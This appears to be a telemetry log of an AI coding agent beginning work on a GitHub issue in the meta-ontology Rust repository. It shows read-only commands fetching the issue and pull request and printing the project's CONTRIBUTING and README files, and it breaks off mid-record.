conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.080Z] [INFO] \n[2026-07-12T04:02:35.181Z] [INFO] 2026-07-12T04:02:35.172800Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-cdf5f293-0ec8-4592-aa10-4e610205424c decision=approved source=Config event.timestamp=2026-07-12T04:02:35.172Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.181Z] [INFO] \n[2026-07-12T04:02:35.199Z] [INFO] 2026-07-12T04:02:35.187968Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-958e4ced-5c59-4c9e-9db0-d359d7c09411 decision=approved source=Config event.timestamp=2026-07-12T04:02:35.187Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.199Z] [INFO] \n[2026-07-12T04:02:35.280Z] [INFO] 2026-07-12T04:02:35.241745Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-6a99f2e8-ef70-439e-a829-354a0c53e468 decision=approved source=Config event.timestamp=2026-07-12T04:02:35.241Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.280Z] [INFO] \n[2026-07-12T04:02:35.316Z] [INFO] 2026-07-12T04:02:35.304038Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-ef7c9fef-ffef-4fc4-af2b-fd3283f389db decision=approved source=Config event.timestamp=2026-07-12T04:02:35.304Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.316Z] [INFO] \n[2026-07-12T04:02:35.359Z] [INFO] 2026-07-12T04:02:35.316094Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-f00aa585-5d64-49b0-9616-1fb5707a0d2c decision=approved source=Config event.timestamp=2026-07-12T04:02:35.316Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.359Z] [INFO] \n[2026-07-12T04:02:35.363Z] [INFO] 2026-07-12T04:02:35.319957Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-a8dfe1de-a59f-4a8c-8735-2c6962148086 decision=approved source=Config event.timestamp=2026-07-12T04:02:35.319Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.363Z] [INFO] \n[2026-07-12T04:02:35.367Z] [INFO] 2026-07-12T04:02:35.326449Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-8df2004e-865f-43f6-8266-118bbff060a3 decision=approved source=Config event.timestamp=2026-07-12T04:02:35.326Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.367Z] [INFO] \n[2026-07-12T04:02:35.441Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_4\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.441Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_5\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.441Z] [INFO] \n[2026-07-12T04:02:35.574Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_6\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.574Z] [INFO] \n[2026-07-12T04:02:35.586Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_7\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.586Z] [INFO] \n[2026-07-12T04:02:35.606Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_8\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.606Z] [INFO] \n[2026-07-12T04:02:35.615Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_9\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.615Z] [INFO] \n[2026-07-12T04:02:35.626Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_10\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.626Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 2026-07-12T04:02:35.785384Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-ef7c9fef-ffef-4fc4-af2b-fd3283f389db arguments={\"cmd\":\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=485 success=true output=Chunk ID: eb0e4b\n[2026-07-12T04:02:35.790Z] [INFO] Wall time: 0.2091 seconds\n[2026-07-12T04:02:35.790Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:35.790Z] [INFO] Original token count: 2543\n[2026-07-12T04:02:35.790Z] [INFO] Output:\n[2026-07-12T04:02:35.790Z] [INFO] origin\thttps://github.com/link-foundation/meta-ontology.git (fetch)\n[2026-07-12T04:02:35.790Z] [INFO] origin\thttps://github.com/link-foundation/meta-ontology.git (push)\n[2026-07-12T04:02:35.790Z] [INFO] e4aaa28 (HEAD -> issue-5-e2602184e2c5, origin/issue-5-e2602184e2c5) Initial commit with task details\n[2026-07-12T04:02:35.790Z] [INFO] 04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\n[2026-07-12T04:02:35.790Z] [INFO] 1a5b76c Merge pull request #4 from link-foundation/issue-3-296ff7e963a4\n[2026-07-12T04:02:35.790Z] [INFO] afa8dab (origin/issue-3-296ff7e963a4) test: make workflow release test line-ending independent\n[2026-07-12T04:02:35.790Z] [INFO] cb12d5f chore: remove issue solver placeholder\n[2026-07-12T04:02:35.790Z] [INFO] 1e443ab docs: add issue 3 CI/CD case study\n[2026-07-12T04:02:35.790Z] [INFO] e60f508 fix: decouple docs deployment from release publication\n[2026-07-12T04:02:35.790Z] [INFO] 7aa1341 Initial commit with task details\n[2026-07-12T04:02:35.790Z] [INFO] c162cc7 Merge pull request #2 from link-foundation/issue-1-37a4eab13fe1\n[2026-07-12T04:02:35.790Z] [INFO] ac70961 (origin/issue-1-37a4eab13fe1) Revert \"Initial commit with task details\"\n[2026-07-12T04:02:35.790Z] [INFO] a719644 fix: revert version to 0.7.0 (CI auto-bumps from changelog fragments)\n[2026-07-12T04:02:35.790Z] [INFO] f439026 feat: first prototype (MVP) of the meta-ontology\n[2026-07-12T04:02:35.790Z] [INFO] # Contributing to rust-ai-driven-development-pipeline-template\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] Thank you for your interest in contributing! This document provides guidelines and instructions for contributing to this project.\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] ## Development Setup\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 1. **Fork and clone the repository**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    git clone https://github.com/YOUR-USERNAME/rust-ai-driven-development-pipeline-template.git\n[2026-07-12T04:02:35.790Z] [INFO]    cd rust-ai-driven-development-pipeline-template\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 2. **Install Rust**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    Install Rust using rustup (if not already installed):\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 3. **Install development tools**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    rustup component add rustfmt clippy\n[2026-07-12T04:02:35.790Z] [INFO]    cargo install rust-script\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 4. **Install pre-commit hooks** (optional but recommended)\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    pip install pre-commit\n[2026-07-12T04:02:35.790Z] [INFO]    pre-commit install\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 5. **Build the project**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    cargo build\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] ## Development Workflow\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 1. **Create a feature branch**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:35.785Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.790Z] [INFO] 2026-07-12T04:02:35.785462Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-ef7c9fef-ffef-4fc4-af2b-fd3283f389db duration_ms=485 success=true arguments_length=218 output_length=2051 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:35.785Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.889Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_7\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\\\"\",\"aggregated_output\":\"origin\\thttps://github.com/link-foundation/meta-ontology.git (fetch)\\norigin\\thttps://github.com/link-foundation/meta-ontology.git (push)\\ne4aaa28 (HEAD -> issue-5-e2602184e2c5, origin/issue-5-e2602184e2c5) Initial commit with task details\\n04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\\n1a5b76c Merge pull request #4 from link-foundation/issue-3-296ff7e963a4\\nafa8dab (origin/issue-3-296ff7e963a4) test: make workflow release test line-ending independent\\ncb12d5f chore: remove issue solver placeholder\\n1e443ab docs: add issue 3 CI/CD case study\\ne60f508 fix: decouple docs deployment from release publication\\n7aa1341 Initial commit with task details\\nc162cc7 Merge pull request #2 from link-foundation/issue-1-37a4eab13fe1\\nac70961 (origin/issue-1-37a4eab13fe1) Revert \\\"Initial commit with task details\\\"\\na719644 fix: revert version to 0.7.0 (CI auto-bumps from changelog fragments)\\nf439026 feat: first prototype (MVP) of the meta-ontology\\n# Contributing to rust-ai-driven-development-pipeline-template\\n\\nThank you for your interest in contributing! This document provides guidelines and instructions for contributing to this project.\\n\\n## Development Setup\\n\\n1. **Fork and clone the repository**\\n\\n   ```bash\\n   git clone https://github.com/YOUR-USERNAME/rust-ai-driven-development-pipeline-template.git\\n   cd rust-ai-driven-development-pipeline-template\\n   ```\\n\\n2. **Install Rust**\\n\\n   Install Rust using rustup (if not already installed):\\n\\n   ```bash\\n   curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh\\n   ```\\n\\n3. **Install development tools**\\n\\n   ```bash\\n   rustup component add rustfmt clippy\\n   cargo install rust-script\\n   ```\\n\\n4. **Install pre-commit hooks** (optional but recommended)\\n\\n   ```bash\\n   pip install pre-commit\\n   pre-commit install\\n   ```\\n\\n5. **Build the project**\\n\\n   ```bash\\n   cargo build\\n   ```\\n\\n## Development Workflow\\n\\n1. **Create a feature branch**\\n\\n   ```bash\\n   git checkout -b feature/my-feature\\n   ```\\n\\n2. **Make your changes**\\n\\n   - Write code following the project's style guidelines\\n   - Add tests for any new functionality\\n   - Update documentation as needed\\n\\n3. **Run quality checks**\\n\\n   ```bash\\n   # Format code\\n   cargo fmt\\n\\n   # Run Clippy lints\\n   cargo clippy --all-targets --all-features\\n\\n   # Check file sizes (requires rust-script)\\n   rust-script scripts/check-file-size.rs\\n\\n   # Run all checks together\\n   cargo fmt --check && cargo clippy --all-targets --all-features && rust-script scripts/check-file-size.rs\\n   ```\\n\\n4. **Run tests**\\n\\n   ```bash\\n   # Run all tests\\n   cargo test\\n\\n   # Run tests with verbose output\\n   cargo test --verbose\\n\\n   # Run doc tests\\n   cargo test --doc\\n\\n   # Run a specific test\\n   cargo test test_name\\n   ```\\n\\n5. **Add a changelog fragment**\\n\\n   For any user-facing changes, create a changelog fragment:\\n\\n   ```bash\\n   # Create a new file in changelog.d/\\n   # Format: YYYYMMDD_HHMMSS_description.md\\n   touch changelog.d/$(date +%Y%m%d_%H%M%S)_my_change.md\\n   ```\\n\\n   Edit the file to document your changes:\\n\\n   ```markdown\\n   ### Added\\n   - Description of new feature\\n\\n   ### Fixed\\n   - Description of bug fix\\n   ```\\n\\n   **Why fragments?** This prevents merge conflicts in CHANGELOG.md when multiple PRs are open simultaneously.\\n\\n6. **Commit your changes**\\n\\n   ```bash\\n   git add .\\n   git commit -m \\\"feat: add new feature\\\"\\n   ```\\n\\n   Pre-commit hooks will automatically run and check your code.\\n\\n7. **Push and create a Pull Request**\\n\\n   ```bash\\n   git push origin feature/my-feature\\n   ```\\n\\n   Then create a Pull Request on GitHub.\\n\\n## Code Style Guidelines\\n\\nThis project uses:\\n\\n- **rustfmt** for code formatting\\n- **Clippy** for linting with pedantic and nursery lints enabled\\n- **cargo test** for testing\\n\\n### Code Standards\\n\\n- Follow Rust idioms and best practices\\n- Use documentation comments (`///`) for all public APIs\\n- Write tests for all new functionality\\n- Keep functions focused and reasonably sized\\n- Keep files under 1000 lines\\n- Use meaningful variable and function names\\n\\n### Documentation Format\\n\\nUse Rust documentation comments:\\n\\n```rust\\n/// Brief description of the function.\\n///\\n/// Longer description if needed.\\n///\\n/// # Arguments\\n///\\n/// * `arg1` - Description of arg1\\n/// * `arg2` - Description of arg2\\n///\\n/// # Returns\\n///\\n/// Description of return value\\n///\\n/// # Errors\\n///\\n/// Description of when errors are returned\\n///\\n/// # Examples\\n///\\n/// ```\\n/// use my_package::example_function;\\n/// let result = example_function(1, 2);\\n/// assert_eq!(result, 3);\\n/// ```\\npub fn example_function(arg1: i32, arg2: i32) -> i32 {\\n    arg1 + arg2\\n}\\n```\\n\\n## Testing Guidelines\\n\\n- Write tests for all new features\\n- Maintain or improve test coverage\\n- Use descriptive test names\\n- Organize tests in modules when appropriate\\n- Use `#[cfg(test)]` for test-only code\\n\\nExample test structure:\\n\\n```rust\\n#[cfg(test)]\\nmod tests {\\n    use super::*;\\n\\n    mod my_feature_tests {\\n        use super::*;\\n\\n        #[test]\\n        fn test_basic_functionality() {\\n            assert_eq!(my_function(), expected_result);\\n        }\\n\\n        #[test]\\n        fn test_edge_case() {\\n            assert_eq!(my_function(edge_case_input), expected_result);\\n        }\\n    }\\n}\\n```\\n\\n## Pull Request Process\\n\\n1. Ensure all tests pass locally\\n2. Update documentation if needed\\n3. Add a changelog fragment (see step 5 in Development Workflow)\\n4. Ensure the PR description clearly describes the changes\\n5. Link any related issues in the PR description\\n6. Wait for CI checks to pass\\n7. Address any review feedback\\n\\n## Changelog Management\\n\\nThis project uses a fragment-based changelog system similar to [Scriv](https://scriv.readthedocs.io/) (Python) and [Changesets](https://github.com/changesets/changesets) (JavaScript).\\n\\n### Creating a Fragment\\n\\n```bash\\n# Create a new fragment with timestamp\\ntouch changelog.d/$(date +%Y%m%d_%H%M%S)_description.md\\n```\\n\\n### Fragment Categories\\n\\nUse these categories in your fragments:\\n\\n- **Added**: New features\\n- **Changed**: Changes to existing functionality\\n- **Deprecated**: Features that will be removed in future\\n- **Removed**: Features that were removed\\n- **Fixed**: Bug fixes\\n- **Security**: Security-related changes\\n\\n# meta-ontology\\n\\nA self-describing meta-ontology stored in [Links Notation](https://github.com/link-foundation/links-notation),\\nshipping as a Rust library, command-line tool, microservice, and a\\nWebAssembly + React.js web application \u2014 public domain.\\n\\n[![License: Unlicense](https://img.shields.io/badge/license-Unlicense-blue.svg)](http://unlicense.org/)\\n\\n## Status\\n\\nFirst prototype (MVP). See [issue #1](https://github.com/link-foundation/meta-ontology/issues/1)\\nand the milestones in [`ROADMAP.md`](ROADMAP.md). What is shipped today:\\n\\n- Library + CLI that load the seed ontology from `data/`.\\n- 65 NSM semantic primes + ~25 self-referential link-notation primes.\\n- English exponents complete; Spanish and Russian seeded.\\n- Cross-ontology mappings to Schema.org, OWL/RDF, SUMO, Wikidata.\\n- Word-coverage check that reports words missing from the ontology.\\n\\nThe HTTP microservice and the WASM/React web app are scaffolded only;\\ntheir full implementation is staged in `ROADMAP.md` (M3 and M4).\\n\\n## Design\\n\\nA meta-ontology is an ontology that describes itself. The seed graph\\ncontains concepts like `link`, `thing`, `concept`, and `definition` that\\nreference each other \u2014 for example, `thing` is defined via `concept`,\\nand `concept` is defined via `thing`. This is a network with cycles, not\\na tree, which is why we store it in Links Notation.\\n\\nFor the deep analysis see\\n[`docs/case-studies/issue-1/`](docs/case-studies/issue-1/) and the\\nimplementation plan in [`docs/plan/`](docs/plan/).\\n\\n## Quick start\\n\\n```bash\\n# Build\\ncargo build\\n\\n# List every concept\\ncargo run -- list\\n\\n# Show one concept and its definitions / mappings\\ncargo run -- show thing\\n\\n# Walk the example\\ncargo run --example basic_usage\\n\\n# Check that every word in a path is in the ontology or allow-list\\ncargo run -- check-words README.md\\n\\n# Show declared languages\\ncargo run -- langs\\n```\\n\\n## Crates we depend on\\n\\nThis project follows the issue's directive to use the `link-foundation`\\ntoolchain:\\n\\n- [`links-notation`](https://github.com/link-foundation/links-notation)\\n  \u2014 parser and serializer for the lino format used by every `data/*.lino`\\n  file.\\n- [`lino-arguments`](https://github.com/link-foundation/lino-arguments)\\n  \u2014 clap-style argument parser with `.lenv` config support, used by the\\n  CLI binary.\\n- [`lino-objects-codec`](https://github.com/link-foundation/lino-objects-codec)\\n  \u2014 feature-gated dependency for runtime object encoding (used by the\\n  microservice in M3 and the web app in M4).\\n\\n## Repository layout\\n\\n```\\n.\\n\u251c\u2500\u2500 data/\\n\u2502   \u251c\u2500\u2500 primes/            # NSM semantic primes + per-language exponents\\n\u2502   \u251c\u2500\u2500 concepts/          # core lino concepts and cross-ontology mappings\\n\u2502   \u2514\u2500\u2500 allowlist.lino     # words that intentionally have no concept\\n\u251c\u2500\u2500 src/\\n\u2502   \u251c\u2500\u2500 lib.rs             # library entry point\\n\u2502   \u251c\u2500\u2500 ontology.rs        # Ontology, Concept, Definition, Mapping types\\n\u2502   \u251c\u2500\u2500 loader.rs          # walks data/, parses lino, builds the graph\\n\u2502   \u251c\u2500\u2500 words.rs           # tokenizer + scanner used by check-words\\n\u2502   \u2514\u2500\u2500 main.rs            # CLI binary\\n\u251c\u2500\u2500 docs/\\n\u2502   \u251c\u2500\u2500 case-studies/      # deep research per issue\\n\u2502   \u2514\u2500\u2500 plan/              # per-slice implementation plan\\n\u251c\u2500\u2500 examples/basic_usage.rs\\n\u251c\u2500\u2500 tests/\\n\u2502   \u251c\u2500\u2500 unit/              # unit tests\\n\u2502   \u2514\u2500\u2500 integration/       # CLI integration tests\\n\u251c\u2500\u2500 REQUIREMENTS.md        # canonical requirement list\\n\u251c\u2500\u2500 ROADMAP.md             # milestones from MVP through 1.0\\n\u2514\u2500\u2500 Cargo.toml\\n```\\n\\n## Documentation\\n\\n- [`REQUIREMENTS.md`](REQUIREMENTS.md) \u2014 canonical requirement list\\n- [`ROADMAP.md`](ROADMAP.md) \u2014 staged milestones\\n- [`docs/plan/`](docs/plan/) \u2014 per-slice implementation plan\\n- [`docs/case-studies/issue-1/`](docs/case-studies/issue-1/) \u2014 deep analysis\\n\\n## License\\n\\nPublic domain \u2014 released under [the Unlicense](LICENSE).\\n\\n## Contributing\\n\\nSee [`CONTRIBUTING.md`](CONTRIBUTING.md). Pull requests welcome.\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:35.889Z] [INFO] \n[2026-07-12T04:02:35.924Z] [INFO] 2026-07-12T04:02:35.921806Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:35.924Z] [INFO] \n[2026-07-12T04:02:35.944Z] [INFO] 2026-07-12T04:02:35.944096Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:35.944Z] [INFO] \n[2026-07-12T04:02:35.946Z] [INFO] 2026-07-12T04:02:35.946503Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:35.946Z] [INFO] \n[2026-07-12T04:02:35.958Z] [INFO] 2026-07-12T04:02:35.957679Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:35.958Z] [INFO] \n[2026-07-12T04:02:36.069Z] [INFO] 2026-07-12T04:02:36.067763Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a8dfe1de-a59f-4a8c-8735-2c6962148086 arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=748 success=true output=Chunk ID: 3c957b\n[2026-07-12T04:02:36.069Z] [INFO] Wall time: 0.4610 seconds\n[2026-07-12T04:02:36.069Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.069Z] [INFO] Original token count: 1\n[2026-07-12T04:02:36.069Z] [INFO] Output:\n[2026-07-12T04:02:36.069Z] [INFO] [] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.067Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.069Z] [INFO] 2026-07-12T04:02:36.067818Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a8dfe1de-a59f-4a8c-8735-2c6962148086 duration_ms=748 success=true arguments_length=175 output_length=104 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.067Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.069Z] [INFO] \n[2026-07-12T04:02:36.108Z] [INFO] 2026-07-12T04:02:36.099997Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:36.108Z] [INFO] 2026-07-12T04:02:36.100107Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:36.108Z] [INFO] 2026-07-12T04:02:36.100166Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:36 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"8c1cbcf2-6fdf-45b6-b5ae-d12d01be0e38\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=Ktxc5a2Z3v1tuXopcpcbfzDxA%2FVa4fRpDUEuq6IcWC3mGtNPWiQualboYaSd2R7dJWVINsZgdyQKMAZjdXYvkjNbiPJ7gv4sli89d%2FV1eJKXwu%2BRBoFrhnWan4J6\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"set-cookie\": \"__cflb=0H28vzvP5FJafnkHxiscCAnG4G7GWLMkq7r1BnSJi7d; HttpOnly; SameSite=None; Secure; Path=/; Expires=Sun, 12 Jul 2026 05:02:36 GMT\", \"cf-ray\": \"a19d273f0f1965d2-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:36.108Z] [INFO] \n[2026-07-12T04:02:36.152Z] [INFO] 2026-07-12T04:02:36.129558Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-cdf5f293-0ec8-4592-aa10-4e610205424c arguments={\"cmd\":\"gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=964 success=true output=Chunk ID: 